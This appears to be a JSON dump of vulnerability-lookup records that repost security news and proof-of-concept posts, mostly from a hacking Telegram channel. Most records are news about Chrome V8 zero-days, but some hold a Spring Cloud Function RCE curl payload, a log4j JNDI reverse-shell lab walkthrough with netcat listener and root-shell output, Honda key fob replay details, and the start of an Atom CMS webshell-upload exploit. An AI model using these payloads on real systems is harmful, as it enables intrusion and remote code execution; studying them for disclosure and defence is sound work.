weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-30563", "author": {"login": "automation"}}, {"uuid": "979fe10f-5029-4a1e-9bf6-e0cdcb8ea524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.345759+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-37975", "author": {"login": "automation"}}, {"uuid": "7d4418e2-ce3c-423a-8cfe-0c18558e234d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.296832+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-30551", "author": {"login": "automation"}}, {"uuid": "1c6cf298-b3c8-4a7e-8669-85e8ca60e584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.250442+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48251", "content": "CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability\n\nTo run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example: docker run -it -d -p 8080:8080 bobcheat/springboot-public Exploit Curl command: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\\\"touch /tmp/test\")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter' Or using Burp suite: Credits https://github.com/hktalent/spring-spel-0day-poc Download CVE-2022-22963\nRead more...", "vulnerability": "CVE-2022-22963", "author": {"login": "automation"}}, {"uuid": "81273e58-e285-4f49-9ac5-3f2addca1b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.200369+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48257", "content": "CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability\nhttp://www.kitploit.com/2022/03/cve-2022-22963-poc-spring-java.html\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22963", "author": {"login": "automation"}}, {"uuid": "57756cf3-2931-41b3-805c-4a653acce0a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.160900+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48245", "content": "Black Hat Ethical Hacking\nGoogle Chrome Bug Actively Exploited as Zero-Day\n\nGoogle Chrome Bug Actively Exploited as Zero-DayPost Views: 32 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nGoogle issued an update for the bug, which is found in the open-source V8 JavaScript engine.\nGoogle has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n* CVE-2021-21148\u00a0\u2013 Feb. 4, an unnamed type of bug in V8\n* CVE-2021-21224\u00a0\u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1096", "author": {"login": "automation"}}, {"uuid": "911ef1c9-5e44-442a-b894-00a4ce89ee03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.135364+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mut46pfaww2j", "content": "CVE-2026-86218 - n-central\nVersions of N-central released before 2026.3.1.14 can be tricked into executing malicious commands without any user authentication. This could let an attacker take control of the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#ncentral #nable #CVE #infosec", "vulnerability": "CVE-2026-86218", "author": {"login": "automation"}}, {"uuid": "fa17b9f8-863f-4c9f-a3d0-7d4e3da64478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.110615+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48245", "content": "Black Hat Ethical Hacking\nGoogle Chrome Bug Actively Exploited as Zero-Day\n\nGoogle Chrome Bug Actively Exploited as Zero-DayPost Views: 32 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nGoogle issued an update for the bug, which is found in the open-source V8 JavaScript engine.\nGoogle has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n* CVE-2021-21148\u00a0\u2013 Feb. 4, an unnamed type of bug in V8\n* CVE-2021-21224\u00a0\u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-21224", "author": {"login": "automation"}}, {"uuid": "78961f07-75bf-4f68-a1e3-bff196522d85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.059065+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48245", "content": "Black Hat Ethical Hacking\nGoogle Chrome Bug Actively Exploited as Zero-Day\n\nGoogle Chrome Bug Actively Exploited as Zero-DayPost Views: 32 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nGoogle issued an update for the bug, which is found in the open-source V8 JavaScript engine.\nGoogle has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n* CVE-2021-21148\u00a0\u2013 Feb. 4, an unnamed type of bug in V8\n* CVE-2021-21224\u00a0\u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-21148", "author": {"login": "automation"}}, {"uuid": "61cdbebe-bb0e-4fcf-b078-d26569062f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.009978+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48219", "content": "KitPloit - PenTest Tools!\nCVE-2022-27254 - PoC For Vulnerability In Honda's Remote Keyless System\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCXFYec5Q2ebxFWm-Yo494Ag7n0XJZz-7pV-6hdgf5Lm8KWzhB1kWvT7sp9_fJyPgyaG-6B-JufZnkf3NThbM37mILf3YJB5nJCyPE3RD7tOf7OS-u7BRzhMrn2IaZVV_wSqjIz4INlgJ9w-kEIVBTFsq6sCMoWa0dxIaI0EiZ_hdZrHrDz4FlhFjw/w400-h320/CVE-2022-27254.png PoC for vulnerability in Honda's Remote Keyless System(CVE-2022-27254) Disclaimer:For educational purposes only.  Kindly note that the discoverers for this vulnerability are Ayyappan Rajesh, a student at UMass Dartmouth  and HackingIntoYourHeart.\n\nOthers mentioned in this repository are credited for the support that they have provided but have played no active role in any research conducted related to this finding.  If looking to publish these findings elsewhere, please refrain from associating this with any other persons, companies or institutions without any explicit approval. Summary:This is a proof of concept for CVE-2022-27254, wherein the remote keyless system on various Honda vehicles send the same, unencrypted RF signal for each door-open, door-close, boot-open and remote start(if applicable). This allows for an attacker to eavesdrop on the request and conduct a replay attack. POC videosVehicles Affected:\u2022 2016-2020 Honda Civic(LX, EX, EX-L, Touring, Si, Type R) Important Notes:\u2022Key fob FCC ID: KR5V2X\n\n\u2022Key fob frequency: 433.215MHz\n\n\u2022Key fob modulation: FSK Tools used:\u2022FCCID.io\n\u2022HackRF One\n\u2022Gqrx\n\u2022GNURadio Prevention:* \nManufacturers:\n\n1. Manufacturers must implement Rolling Codes, otherwise known as hopping code. It is a security technology commonly used to provide a fresh code for each authentication of a remote keyless entry (RKE) or passive keyless entry (PKE) system.\n\n* \nConsumers:\n\n1. Utilize a Faraday Pouch for the key fob.\n2. Use the PKE as opposed to the RKE, this would make it significantly harder for an attacker to clone/read the signal due to the proximity they would need to be at to do so.\nThe precautions mentioned above ARE NOT foolproof\n\nIf you believe that you are a victim of this attack, the only current mitigation is to reset your key fob at the dealership. Credits:\u2022Ayyappan Rajesh(nonamecoder)\n\n\u2022HackingIntoYourHeart Special thanks to:\u2022 My professor :Prof. Hong Liu\n\n\u2022 My mentor:Sam Curry\n\n\u2022My professor :Prof. Ruolin Zhou References:\u2022https://www.youtube.com/watch?v=1RipwqJG50c\n\n\u2022https://attack.mitre.org/techniques/T1040/ Download CVE-2022-27254\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-27254", "author": {"login": "automation"}}, {"uuid": "3d53d9a3-eb77-4c26-b042-06baf7617557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.963435+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48230", "content": "hacking: security in practice\nCVE-2022-22963 : A new zero-day vulnerability in the Spring Core Java framework called 'Spring4Shell' has been publicly disclosed, allowing unauthenticated remote code execution on applications.\n\nhttps://external-preview.redd.it/tMpoNbrUqRwWKHl11pAa3T334dcoGbOcnDoYSvKhFxI.jpg?width=640&crop=smart&auto=webp&s=46e8a9d0a209ab84fde7ac58a460fc0f6ff27d09 submitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22963", "author": {"login": "automation"}}, {"uuid": "bc09a8ea-7466-45e3-ab26-390445b2b504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.918271+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48213", "content": "PoC for vulnerability (https://www.kitploit.com/search/label/Vulnerability) in Honda's Remote Keyless System(CVE-2022-27254)  Disclaimer:  For educational purposes only.  Kindly note that the discoverers for this vulnerability are Ayyappan Rajesh (https://www.linkedin.com/in/ayyappan-rajesh/), a student at UMass Dartmouth  and HackingIntoYourHeart (https://github.com/HackingIntoYourHeart/).  Others mentioned in this repository are credited for the support that they have provided but have played no active role in any   research (https://www.kitploit.com/search/label/Research) conducted related to this finding.  If looking to publish these findings elsewhere, please refrain from associating this with any other persons, companies or institutions without any explicit approval.  Summary:  This is a proof of concept (https://www.kitploit.com/search/label/Proof%20Of%20Concept) for CVE-2022-27254 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27254), wherein the remote keyless system on various Honda vehicles send the same, unencrypted RF signal for each door-open, door-close, boot-open and remote start(if applicable). This allows for an attacker to eavesdrop (https://www.kitploit.com/search/label/Eavesdrop) on the request and conduct a replay attack.\nPOC videos (https://github.com/nonamecoder/CVE-2022-27254#poc-videos)  Vehicles Affected:  \u2022 2016-2020 Honda Civic(LX, EX, EX-L, Touring, Si, Type R)  Important Notes:   \u2022Key fob FCC ID: KR5V2X\n\n \u2022Key fob frequency: 433.215MHz\n\n \u2022Key fob modulation: FSK\n  Tools used:         \u2022FCCID.io\n       \u2022HackRF One\n       \u2022Gqrx\n       \u2022GNURadio\n  Prevention:      Manufacturers:    Manufacturers must implement Rolling Codes, otherwise known as hopping code. It is a security technology commonly used to provide a fresh code for each authentication (https://www.kitploit.com/search/label/Authentication) of a remote keyless entry (RKE) or passive keyless entry (PKE) system.        Consumers:    Utilize a Faraday Pouch for the key fob.  Use the PKE as opposed to the RKE, this would make it significantly harder for an attacker to clone/read the signal due to the proximity they would need to be at to do so.        The precautions mentioned above ARE NOT foolproofIf you believe that you are a victim of this attack, the only current mitigation is to reset your key fob at the dealership.  Credits:  \u2022Ayyappan Rajesh(nonamecoder) (https://www.linkedin.com/in/ayyappan-rajesh/)  \u2022HackingIntoYourHeart (https://github.com/HackingIntoYourHeart/)  Special thanks to:  \u2022 My professor :Prof. Hong Liu (https://www.umassd.edu/directory/hliu/)  \u2022 My mentor:Sam Curry (https://www.linkedin.com/in/currysam)  \u2022My professor :Prof. Ruolin Zhou (https://www.umassd.edu/directory/rzhou1/)  References:  \u2022https://www.youtube.com/watch?v=1RipwqJG50c  \u2022https://attack.mitre.org/techniques/T1040/  \n\nDownload CVE-2022-27254 (https://github.com/nonamecoder/CVE-2022-27254)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-27254", "author": {"login": "automation"}}, {"uuid": "c9292d6f-d766-4257-803f-f3c57255a53c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.873634+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48211", "content": "CVE-2022-27254 - PoC For Vulnerability In Honda's Remote Keyless System\nhttp://www.kitploit.com/2022/03/cve-2022-27254-poc-for-vulnerability-in.html\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-27254", "author": {"login": "automation"}}, {"uuid": "0e6224de-251b-41bb-b60c-026f31a4ba1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.818441+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/47927", "content": "hacking: security in practice\nlog4j shell poc with User-Agent payload\n\n* Note: I found that log4j payload is not allowed to be written here in reddit, so I replace it with PAYLOADHEREkeyword. In short, PAYLOADHERE = jndi:ldap\n\nIf you want to see the full content, I've copied it to pastebin https://pastebin.com/Uge5Rk2HThis lab has been created based on the following vulnerable docker image for log4j:\n\nhttps://github.com/kozmer/log4j-shell-poc\n\n(go ahead and try it to reproduce this issue)\n\nLab setup\n\nInstall vulnerable docker application on TARGET and run it\nTARGET$ git clone https://github.com/kozmer/log4j-shell-poc TARGET$ cd log4j-shell-poc TARGET$ docker build -t log4j-shell-poc . TARGET$ docker run --network host log4j-shell-poc \nPrepare POC on TESTER\nTESTER:~$ git clone https://github.com/kozmer/log4j-shell-poc TESTER:~$ cd log4j-shell-poc TESTER:~$ pip install -r requirements.txt TESTER:~/log4j-shell-poc$ python3 poc.py --userip TESTER --webport 8000 --lport 9001 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up LDAP server [+] Send me: ${PAYLOADHERE://TESTER:1389/a} [+] Starting Webserver on port 8000 http://0.0.0.0:8000 Listening on 0.0.0.0:1389 \nStart a netcat listener to accept reverse shell connection\nTESTER:~$ nc -lvnp 9001 \nUse curl/browser to send data back to the TESTER-1\nTESTER:~$ curl -d 'uname=${PAYLOADHERE://TESTER:1389/a}&password=' http://TARGET:8080/login \nCheck netcat again\nTESTER:~$ nc -lvnp 9001 listening on [any] 9001 ... connect to [TESTER] from (UNKNOWN) [TARGET] 36422 id uid=0(root) gid=0(root) groups=0(root) hostname TARGET \nTest completed successfully. However, instead of sending data to login form, I've decided to try again using different entry point which is via User-Agent.\n\nThis is my payload\nTESTER:~$ curl -H 'User-Agent: ${PAYLOADHERE://TESTER:1389/a}' http://TARGET:8080 .... \nHowever, I did not get any connection to my netcat listener via this way.\n\nWhat's wrong in this payload and how to fix it?\n\nsubmitted by /u/w0lfcat \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "e409c7e5-a43f-4909-9bd1-88860d9c4a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.777238+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48180", "content": "Exploit Collector\nAtom CMS 1.0.2 Shell Upload\n\nhttps://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png \nAtom CMS version 1.0 suffers from a remote shell upload vulnerability.\n\nMD5 | 96d978d4ce51689762e987b3a4617e53\n\nDownload\n# Exploit Title: Atom CMS 2.0 - Remote Code Execution (RCE)\n# Date: 22.03.2022\n# Exploit Author: Ashish Koli (Shikari)\n# Vendor Homepage: https://thedigitalcraft.com/\n# Software Link: https://github.com/thedigicraft/Atom.CMS\n# Version: 2.0\n# Tested on: Ubuntu 20.04.3 LTS\n# CVE: CVE-2022-25487\n\n# Description\nThis script uploads webshell.php to the Atom CMS. An application will store that file in the uploads directory with a unique number which allows us to access Webshell.\n\n# Usage : python3 exploit.py 